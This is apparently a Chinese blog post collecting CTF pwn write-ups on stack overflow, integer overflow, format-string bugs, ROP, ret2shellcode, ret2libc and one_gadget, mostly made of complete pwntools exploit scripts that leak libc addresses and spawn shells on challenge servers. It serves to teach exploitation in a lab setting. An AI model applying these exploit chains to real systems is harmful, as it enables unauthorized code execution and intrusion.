ctf-pwn-栈漏洞合集

标准栈溢出

buu-pwn:1-5

buu-pwn:buu-get_started_3dsctf_2016

漏洞原理:根据栈图通过栈溢出覆盖如返回值,某个变量值等

例题题解

整数溢出

目的

利用整数溢出漏洞可以绕过注入strlen(s)的检测

基本原理如下:

  • 整数类型在超出自己最大大小的时候会执行以下操作
  • 将自己与最大数取模
  • 例如1byte的 最大0-255当255+5的时候%256==4

bjdctf_2020_babystack2

此处整数溢出第一个输入值,使得第二个数组能够溢出写入

  • nbytes查询是占四个字节,之后转换为unsigned int都是四个字节大小
  • 但是unsigned的最高位是代表数字,signed的最高位是符号位
  • 因此输入值0x80000000对应的0b10000000000000000000000000000000在转换后就是0
  • 而对于检测10x80000000加上任何是数结果都是小于0的都能过长度检测
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]
  size_t nbytes; // [rsp+Ch] [rbp-4h]
​
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (signed int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, &buf, (unsigned int)nbytes);
  return 0;
}

[BJDCTF 2nd]r2t3

本题与ciscn_2019_c_1的逃避strlen检查的区别在于

  • ciscn_2019_c_1中是用gets输入的gets会输入直到eof或者\n因此可以读入\0
  • [BJDCTF 2nd]r2t3是用read,read会输入直到\0截断,因此没法用\0逃避检查
'''
基本环境
'''
from pwn import *
from LibcSearcher import *
​
context(os='linux', arch='amd64', log_level='debug')
p = remote('node3.buuoj.cn', 28866)
elf = ELF('r2t3')
# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)
​
sleep(0.3)
payload  = b'a'*(0x11 + 0x4) + p32(0x804858B)
p.sendline(payload.ljust(0x104, b'a'))
p.sendline(payload)
sleep(0.3)
p.sendline(b'cat flag')
p.interactive()

image-20210308205057605

格式化收集漏洞

泄露栈值

  • 比如泄露eip,或者canary来后续hack
sipcoj exam1 pwn1 节选
# env
from pwn import*
​
context(os="linux", arch="i386", log_level="debug")
r = remote("39.96.76.44",28016)
elf = ELF('pwn1')
​
# read 1
# r.sendafter('step1:\n', 'AAAA %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x')
r.sendafter('step1:\n', '%15$p %19$p') # %15$p
r.recvuntil('0x')
canary_raw = r.recv(8)
canary_add = p32(int(canary_raw,16))
print('\n---canary is :',canary_raw)
​
# printf 1
r.recvuntil('0x')
main_raw = r.recv(8)
print('\n---main is :',main_raw)
print('raw',main_raw,main_raw.decode(encoding='utf8')[0:5],main_raw.decode(encoding='utf8')[5:8])

修改固定地址变量

漏洞原理:https://www.cnblogs.com/0xJDchen/p/5904816.html

buu-pwn-[第五空间2019 决赛]PWN5

from pwn import *
​
context.log_level = 'debug'  # 显示调试的信息
p = remote("node3.buuoj.cn" , 26117)
​
​
payload = b'AAAA %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x'
# 第十个是 41414141 即偏移值是10
# 三个参数 偏移值 {要修改变量的地址:变量修改的值}
payload = fmtstr_payload(10,{0x804C044:520})
​
p.sendlineafter(b'your name:', payload)
p.sendlineafter(b'your passwd:', b'520')
p.sendlineafter('ok!!\n', 'cat flag')
p.interactive()
xctf-CGfsb
from pwn import *
​
context(os="linux", arch="i386", log_level="debug")
r = remote("111.200.241.244", 43348)
sleep(0.3)
r.sendlineafter('please tell me your name:', 'poilzero')
# payload = b'AAAA %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x %0x'
payload = fmtstr_payload(10,{0x0804A068:8})
r.sendlineafter('leave your message please:\n', payload)
r.interactive()

ROP总

搜索gadget

常见指令如下
# 查找可存储寄存器的代码
ROPgadget --binary [filepath]  --only 'pop|ret'
# 查找字符串
ROPgadget --binary [filepath] --string "/bin/sh"
ROPgadget --binary [filepath] --string "sh"
# 查找有int 0x80的地址
ROPgadget --binary [filepath]  --only 'int'

x64栈构造

# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)
# ×64程序基本都存在的一个地址[pop rdi;ret]
pop_rdi_ret = p64(0x400c83)
​
# bin_sh_address system_address需要计算得到
# unbuntu 64x 调用system的时候要加ret进行对齐,其他的情况下不需要
ret = p64(0x4006b9)
payload  = offset + ret
# 其中的pop_rdi_ret + p64(bin_sh_address)其实就是64x调用规范中的代表传入第一个参数
# 在64位中,有rdi,rsi,rdx,rcx,r8,r9几个寄存器保存参数。
payload += pop_rdi_ret + p64(bin_sh_address) + p64(system_address) + ret_add

x32栈构造

理论

构造格式

  • 一个指令:cmd_address:gap_:arg1

    • 后面不需要参数则不需要gap_
  • 如system('/bin/sh')+exit(0)

    • system_address:exit_address:binsh_address:p32(0x0)
    • 其中,exit_address是再system('/bin/sh')执行完成后返回的地址
    • 然后程序会执行exit(0)
  • 如write(1, write_got, 0x4)

    • write_plt:main_add:write_got:p32(0x4)

实例

picoctf_2018_rop chain
'''
基本环境
'''
from pwn import *
from LibcSearcher import *
​
p = remote('node3.buuoj.cn', 25395)
context(os='linux', arch='i386', log_level='debug')
elf = ELF('PicoCTF_2018_rop_chain')
# libc= ELF('libc-2.29.so')
​
win1 = 0x80485CB
win2 = 0x80485D8
flag = 0x804862B
payload = b'a'*(0x18+0x4)
payload+= p32(win1) + p32(win2) + p32(flag)
# -1163220307 -559039827
payload+= p32(0xBAAAAAAD) + p32(0xDEADBAAD)
sleep(0.3)
p.sendline(payload)
sleep(0.3)
p.interactive()
​
# flag{d6966bc5-1e31-45ed-9a7d-a7e66e04f25d}

ret2shellcode

others_shellcode

ciscn_2019_n_5

from pwn import *
# asm模块需要指定arch
context(arch='amd64', os="linux", log_level="debug")
elf = ELF('ciscn_2019_n_5')
​
r = remote("node3.buuoj.cn", 28651)
shell_code = asm(shellcraft.sh())
​
r.recvuntil("tell me your name\n")
r.sendline(shell_code)
​
payload = b'a'*0x28 + p64(0x601080)
r.recvuntil("What do you want to say to me?\n")
r.sendline(payload)
​
sleep(0.3)
r.sendline('cat flag')
r.interactive()
# flag{c38fb238-58ee-4da2-a300-6215a89cf5d7}

ret2libc

本文是以

  • x64的cdecl函数调用约定(x64最常见的函数调用约定)为基础来撰写的
  • 泄露puts函数地址为例,此外也可以泄露任何已使用过的函数(got表有数据)的地址来计算

注:x32的调用规则与本文不太一致(system_address + exit_address + binsh_address + b'0'*8)

基本原理

return to libc

通过栈溢出覆盖 eip使得程序 return to libc

  • libc是动态链接共享库,里面有很多函数和字符串段
  • 比如 system() puts() gets()
  • 比如 '/bin/sh'

于是乎我只要构造溢出的数据,就能使得程序自动执行

system('/bin/sh')也就是getshell了

libc address

但是其中有一个很关键的问题,libc动态库的函数或者字符串有以下几个特性

  • 在程序每次运行的时候,libc库的基地址都是不一样的
  • 但是无论如何,libc之间函数或者字符串的相对地址不变(确定libc版本的情况下)

因此我们得先获得libc的基址才能实现我们的目的return to libc,而这一点,我们是通过

  • 先构造函数调用puts(elf.got['puts'])获得泄露的puts函数真实地址
  • 然后通过LibSearcher('puts', puts_real_address)(确定libc版本确定相对地址)计算偏移值
  • 从而得到我们想要的目标system('/bin/sh')调用所需要用到的参数

基本流程

所需的环境

注意,其中的rdi;ret部分内容根据你的需求不同。

传入的参数不止一个比如,你得去找相对应的rdi,rsi,rdx,rcx,r8,r9对应的ret。

from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn', 27417)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('ciscn_2019_c_1')
# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)

构造地址泄露

对于x64 liunx,通过栈溢出实现,调用puts实现泄露puts函数地址

  • call-》plt-》got-》实际在内存中的地址
  • plt表和got表是固定的,在plt文件内可以找到,内存地址不固定
  • plt表:调用需要使用plt表的值
  • got表:用于获取函数实际在内存中的地址
# 用来读取plt和got表
elf = ELF('test_c_1')

# ×64程序基本都存在的一个地址[pop rdi;ret]
pop_rdi_ret = p64(0x400c83)
# 执行结束后返回到main函数地址(以防止栈结构被破坏)
payload  = offset
# 即使用puts_plt表嗲用puts(*puts_got)==puts(puts_real_address)
payload += pop_rdi_ret + p64(elf.got['puts']) + p64(elf.plt['puts'])
# 执行完后返回main
payload += p64(elf.symbols('main'))

获取libc信息

对泄露的puts函数实际地址进行格式化,以此为参数得到libc库的信息

# 使用pwntools读取得到返回的地址
raw_rev = ...
puts_real_addr = u64(raw_rev.ljust(8, b'\x00'))

# 使用LibSearcher进行搜索得到libc的库信息
# 比如版本号,类型等
libc = LibSearcher('puts', puts_real_addr)

计算sh地址

"/bin/sh",system地址

计算libc的基址从而计算出注入"/bin/sh",system函数的地址,从而实现调用system函数

# puts_addr是实际运行中libc中puts的地址,与libc.dump对应的地址比较计算得到基址
libc_base   = puts_addr - libc.dump('gets') 
system_addr = libc_base + libc.dump('system') 
binsh_addr  = libc_base + libc.dump('str_bin_sh')

调用shell

对于x64 liunx,调用system的标准压栈顺序:

# ×64程序基本都存在的一个地址[pop rdi;ret]
pop_rdi_ret = p64(0x400c83)

# bin_sh_address system_address需要计算得到
# unbuntu 64x 调用system的时候要加ret进行对齐,其他的情况下不需要
ret = p64(0x4006b9)
payload  = offset + ret
# 其中的pop_rdi_ret + p64(bin_sh_address)其实就是64x调用规范中的代表传入第一个参数
# 在64位中,有rdi,rsi,rdx,rcx,r8,r9几个寄存器保存参数。
payload += pop_rdi_ret + p64(bin_sh_address) + p64(system_address)

bjdctf_2020_babyrop

本题LibcSearcher查不到(puts)而read,libc_start_main的对应找到的libc算出来的地址都是错的,尝试了buu提供的对应的ubuntu16的libc.so.2.23(libc.so.2.25)

#coding=utf-8
from pwn import *
from LibcSearcher import *
​
# libc = LibcSearcher('puts', 0x7f3d9e3866900000)
​
context(os="linux", arch="amd64", log_level="debug")
elf = ELF("./bjdctf_2020_babyrop")
lib = ELF("./libc-2.23.so")
r = remote('node3.buuoj.cn', 26887)# process("./easyheap")
​
pop_rdi = p64(0x400733)
ret     = p64(0x4004c9)
​
# 64
offset  = b'a'*0x20 + b'g'*0x8
payload = offset + pop_rdi + p64(0x601018) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
​
r.sendlineafter('Pull up your sword and tell me u story!\n', payload)
raw = r.recv(6)
add = u64(raw.ljust(8, b'\x00'))
print(raw, raw.ljust(8, b'\x00'), hex(add))
​
# exit(0)
# libc = LibcSearcher('puts', add)
# LibcSearcher不能用
libc_base = add - lib.symbols['puts']
# ROPgadget --binary /home/poilzero/pwn/libc-2.23.so --string "/bin/sh"
binsh_add = libc_base + 0x18cd57
system_add= libc_base + lib.symbols['system']
​
payload = offset + ret + pop_rdi + p64(binsh_add) + p64(system_add)
r.sendlineafter('Pull up your sword and tell me u story!\n', payload)
​
sleep(0.3)
r.sendline('cat flag')
r.interactive()
# flag{93f43e9e-0ac4-40a8-8a10-bcbc76529f64}

铁人三项(第五赛区)_2018_rop

#coding=utf-8
from pwn import *
from LibcSearcher import *
​
context(os="linux", arch="i386", log_level="debug")
elf = ELF("./2018_rop")
r = remote('node3.buuoj.cn', 26607)# process("./easyheap")
​
# 32
offset  = b'a'*0x88 + b'g'*0x4
payload = offset + p32(elf.plt['write']) + p32(elf.symbols['main'])
payload+= p32(1) + p32(elf.got['write']) + p32(0x4)
​
r.sendline(payload)
raw = r.recv(4)
add = u32(raw)
print(raw, hex(add))
​
libc = LibcSearcher('write', add)
libc_base = add - libc.dump('write')
system_add= libc_base + libc.dump('system')
binsh_add = libc_base + libc.dump('str_bin_sh')
​
payload = offset + p32(system_add) + p32(elf.symbols['m0ain']) + p32(binsh_add)
# r.sendlineafter('Hello, World\n', payload)
r.sendline(payload)
​
sleep(0.3)
r.sendline('cat flag')
r.interactive()

ciscn_2019_c_1

buu-pwn-ciscn_2019_c_1:https://blog.csdn.net/qq_41560595/article/details/108940662

注册机如下

'''
基本环境
'''
from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn', 27417)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('ciscn_2019_c_1')
# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)
'''
构造puts(*puts_got)
'''
# puts泄露libc-puts地址
offset = b'\0' + b'a'*(0x50 - 1 + 8)
payload  = offset + p64(0x400c83)
payload += p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
p.sendlineafter(b'Input your choice!\n', b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)

'''
获得libc库信息
'''
p.recvuntil(b'Ciphertext\n')
p.recvline()
raw = p.recvline()
add = u64(raw[:-1].ljust(8, b'\x00'))
print(raw, add)
libc = LibcSearcher('puts', add)
# exit(0)
'''
计算sh真实地址
'''
libc_base = add - libc.dump('puts')
binsh_add = libc_base + libc.dump('str_bin_sh')
system_add= libc_base + libc.dump('system')
payload = offset + p64(0x4006b9)
payload+= p64(0x400c83) + p64(binsh_add) + p64(system_add)
'''
调用system('/bin/sh')
'''
p.sendlineafter(b'Input your choice!\n', b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
'''
cat flag!
'''
sleep(0.3)
p.sendline(b'cat flag')
p.interactive()

image-20210308174842462

ciscn_2019_en_2

# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)

这题和上一题差不多,两题写的时间间隔比较长,这一题是后来写的

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
r = remote('node3.buuoj.cn', 29206)
elf = ELF('ciscn_2019_en_2')

# 溢出值 s 0x30但是之前还有一个变量应该是临时变量,总空间占据0x50
offset  = b'\0' + b'a'*(0x50-1+8)
'''
step1 turn 1
get puts_real_add
'''
payload = '1'
r.sendlineafter('Input your choice!\n', payload)

# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)
payload = offset + p64(0x400c83) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
r.sendlineafter('Input your Plaintext to be encrypted', payload)
'''
step2 turn 1
caculate the needed address
'''
r.recvuntil(b'Ciphertext\n\n')
raw = r.recv(6)
# u64即可字符串地址转真地址(数字类型),大小端转换
add = u64(raw.ljust(8, b'\x00'))
print(raw, hex(add))

libc = LibcSearcher('puts', add)
libc_base  = add - libc.dump('puts')
system_add = libc_base + libc.dump('system')
binsh_add  = libc_base + libc.dump('str_bin_sh')

'''
step3 turn 2
jump to system('/bin/sh')
'''
payload = '1'
r.sendlineafter('Input your choice!\n', payload)

# rdi;ret: p64(0x400c83)
# ret:     p64(0x4006b9)
payload = offset + p64(0x4006b9) + p64(0x400c83) + p64(binsh_add) + p64(system_add)
r.sendlineafter('Input your Plaintext to be encrypted', payload)

sleep(0.3)
r.sendline('cat flag')
r.interactive()

OGeek2019-babyrop

基本流程

  • 读取文件
  • sub_804871F

    • 会输出文件内容
    • 一个0x20u的read可以溢出
  • sub_80487D0

    • 一个0xe7的read可以溢出
int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]
​
  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}
​
ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]
​
  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

整体思路

本地没给system函数的got/plt表,因此得泄露某个函数地址

  • 得到libc库版本
  • 得到libc库偏移值

然后计算得到system bin_sh_add地址才行。

而本题只有一个sprintf是输出函数,而sprintf执行前在main中都有清空buffer区的代码,因此不能把某个函数真实地址写入buffer区然后读取,但是可以劫持write把地址写入文件,然后正常读取。

因为是x32 cdecl调用,栈的格式为(这里用write泄露write地址):

构造格式:

  • 一个指令:cmd_address:gap_:arg1

    • 后面不需要参数则不需要gap_
  • 如system('/bin/sh')+exit(0)

    • system_address:exit_address:binsh_address:p32(0x0)
    • 其中,exit_address是再system('/bin/sh')执行完成后返回的地址
    • 然后程序会执行exit(0)
# write(1, *write_got, 4) 即写入模式,写入write真实地址,写入4个字节(32位)
# 因为要调用后返回main调用system因此返回地址为main函数地址
p32(write_plt_add):p32(main_add):p32(1):p32(write_got_add):p32(4)

然后第二次执行sub_804871F的时候直接溢出使得直接调用system('/bin/sh')即可

第二次payload构造

p32(system_add):p32(exit_add):p32(binsh_add):p32(0)

通过泄露的write地址计算所需的地址:

# 使用pwntools读取得到返回的地址
raw_rev = ...
puts_addr = u64(raw_rev.ljust(8, b'\x00'))

# 使用LibSearcher进行搜索得到libc的库信息
# 比如版本号,类型等
libc = LibSearcher('puts', puts_addr)

# puts_addr是实际运行中libc中puts的地址,与libc.dump对应的地址比较计算得到基址
libc_base   = puts_addr - libc.symbol('gets') 
system_addr = libc_base + libc.dump('system') 
binsh_addr  = libc_base + libc.dump('str_bin_sh')

注册机

其中有个未解开的疑点,如何使用elf读取libc并且得到字符串地址,参考上一题

  • LibSearcher生成的对象libc1
  • pwntools中的ELF生成的对象的libc2

方法一:

libc1.dump('str_bin_sh')

方法二:

X无法验证:libc2.search("/bin/sh").next()

方法三:

前面都是使用pwntools或者LibSearcher,这一种是使用one_gadget指令实现

liunx下one_gadget libc文件

其中三种都没法用,最后在网上找的地址

# env
from pwn import *
from LibcSearcher import *
​
context(os="linux", arch="i386", log_level="debug")
r = remote("node3.buuoj.cn",26970)
elf = ELF('pwn_baby')
libc= ELF('libc-2.23.so')
​
​
binsh_offset = libc.search('/bin/sh')
# binsh_real   = int(binsh_offset,16)
print('bin_sh',binsh_offset, type(binsh_offset))
# print(libc.symbols['bin_sh'])
# print(libc.symbols['str_bin_sh'])
​
### turn 1
# 溢出覆盖v5
payload = b'\x00' + b'a'*6
payload+= b'\xff'
sleep(0.3)
r.sendline(payload)
​
# 第二个函数溢出得到write函数地址,然后返回到main重新执行一次
r.recvuntil('Correct\n')
payload = b'a'*(0xe7 + 4)
# payload+= p32(elf.plt['write']) + p32(elf.symbols['main']) + p32(1) + p32(elf.got['write']) + p32(4)
payload+= p32(elf.plt['write']) + p32(0x08048825) + p32(1) + p32(elf.got['write']) + p32(4)
r.sendline(payload)
​
### turn 2
# 格式化处理得到的write地址
write_raw_add = r.recv(4) # 四字节32位就是地址长度
write_add = u32(write_raw_add) # return int address
print('write_add', hex(write_add))
# 计算地址
# libc = LibcSearcher('write', write_add)
libc_base = write_add - libc.symbols['write']
system_add= libc_base + libc.symbols['system']
exit_add  = libc_base + libc.symbols['exit']
libc = LibcSearcher('write', write_add)
binsh_add = libc_base + 0x15902b #libc.search('/bin/sh').next()#libc.dump('str_bin_sh') #libc.search('/bin/sh').next()
# 组成payload
payload = b'a'*(0xe7 + 4)
payload+= p32(system_add) + p32(exit_add) + p32(binsh_add) + p32(0)
​
# 溢出覆盖v5
payload2 = b'\x00' + b'a'*6
payload2+= b'\xff'
sleep(0.3)
r.sendline(payload2)
​
# send
r.recvuntil('Correct\n')
r.sendline(payload)
​
### flag
sleep(0.3)
r.sendline('cat flag')
r.interactive()

one_gadget

https://blog.csdn.net/weixin_43092232/article/details/105085880

基本逻辑

连上会送你printf的地址,而且本身也给了你libc的文件(白送)。

你只要通过这两者,算出bin_sh的地址输入就会给你flag了

以下是组件的介绍:

libc

  • LibSearcher生成的对象libc1
  • ELF生成的对象的libc2

libc1.dump['puts']==libc2.symbol['puts']

字符串相对地址

  • LibSearcher生成的对象libc1
  • pwntools中的ELF生成的对象的libc2

方法一:

libc1.dump('str_bin_sh')

方法二:

X无法验证:libc2.search("/bin/sh").next()

方法三:

前面都是使用pwntools或者LibSearcher,这一种是使用one_gadget指令实现

liunx下one_gadget libc文件

注册机

'''
基本环境
'''
from pwn import *
from LibcSearcher import *
​
p = remote('node3.buuoj.cn', 25683)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('one_gadget')
libc= ELF('libc-2.29.so')
​
'''
得到printf的真实地址
'''
p.recvuntil(b'0x')
raw = p.recvline()
add = int(raw[:-1],16)
print(raw[:-1],add)
'''
计算bin_sh函数的地址然后会直接给你shell
'''
libc_base = add - libc.symbols['printf']
# libc_binsh= libc_base + libc.dump['str_bin_sh']
# libc_system=libc_base + libc.dump['system']
# one_gadget=libc.search('/bin/sh')#.next()#0x106ef8
# print(one_gadget)
# bin_sh基址可以通过one_gadget得到(最后一个)
bin_sh    = libc_base+0x106ef8
sleep(0.3)
p.sendline(str(bin_sh))
'''
cat flag
'''
p.sendline(b'cat flag')
p.interactive()
Last modification:June 29, 2021
如果觉得我的文章对你有用,请随意赞赏。咖啡(12RMB)进度+100%,一块巧克力(1RMB)进度+6%。
(赞赏请备注你的名称哦!后台记录中来自理工小菜狗)